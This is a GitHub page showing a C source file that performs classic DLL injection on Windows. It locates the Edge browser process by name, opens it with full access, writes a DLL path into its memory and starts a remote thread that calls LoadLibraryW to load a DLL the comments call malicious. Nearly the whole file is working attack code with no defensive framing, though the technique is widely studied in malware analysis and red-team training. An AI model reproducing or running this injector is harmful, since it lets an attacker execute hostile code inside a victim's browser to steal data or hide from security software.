-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdll_process_injection.c
122 lines (100 loc) · 3.21 KB
/
dll_process_injection.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#include <Windows.h>
#include <TlHelp32.h>
#include <ctype.h>
#include <stdio.h>
#include <stdbool.h>
/*
Find process by name.
Inject malicious DLL in the remote process thread.
*/
/*===================================#
# PROCESS ENUMERATION FROM #
# process_enumeration_snapshot.c #
#===================================*/
void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
for (size_t i = 0; i < wcslen(src); i++) {
dest[i] = (wchar_t)tolower(src[i]);
dest[i + 1] = '\0';
}
}
bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
/*
Return:
TRUE - if process has been found and opened (:pProcName and :hProc are populated)
FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
*/
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
return FALSE;
}
if (!Process32First(snap, proc_entry)) {
printf("[!] Process32First error: %d \n", GetLastError());
return FALSE;
}
// Prepare lowercase process name
wchar_t process_name[MAX_PATH];
do {
to_lowercase(proc_entry->szExeFile, process_name);
// printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);
if (wcscmp(process_name, proc_name) == 0) {
*proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
if (*proc == NULL) {
printf("[!] OpenProcess error: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
} while (Process32Next(snap, proc_entry));
return FALSE;
}
const wchar_t dll_path[] = L"C:\\path\\to\\malicious.dll";
int main() {
HANDLE proc = NULL;
PROCESSENTRY32 proc_entry = {
// According to the documentation, this value must be initialized
.dwSize = sizeof(PROCESSENTRY32)
};
if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
printf("[!] FindProcess failed \n");
}
printf("[+] Process opened: (%d) %ls \n", proc_entry.th32ProcessID, proc_entry.szExeFile);
// Get an address of the function that is used to load external DLL into the remote process
void* pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL) {
printf("[!] GetProcAddress error: %d \n", GetLastError());
return 1;
}
// Allocate memory in the remote process for a DLL path string
void* dll_path_mem = VirtualAllocEx(
proc,
NULL,
sizeof(dll_path),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (dll_path_mem == NULL) {
printf("[!] VirtualAllocEx error: %d \n", GetLastError());
return 1;
}
// Write the DLL path into the allocated remote process memory
size_t no_bytes = 0;
WriteProcessMemory(proc, dll_path_mem, dll_path, sizeof(dll_path), &no_bytes);
if (no_bytes == 0) {
printf("[!] WriteProcessMemory error: %d \n", GetLastError());
return 1;
}
/*
Create a new thread in the remote process.
Call LoadLibraryW with malicious DLL in the remote process.
*/
HANDLE thread = CreateRemoteThread(proc, NULL, NULL, pLoadLibraryW, dll_path_mem, NULL, NULL);
if (thread == NULL) {
printf("[!] CreateRemoteThread error: %d \n", GetLastError());
return 1;
}
printf("[+] It works.");
// Exit
getchar();
return 0;
}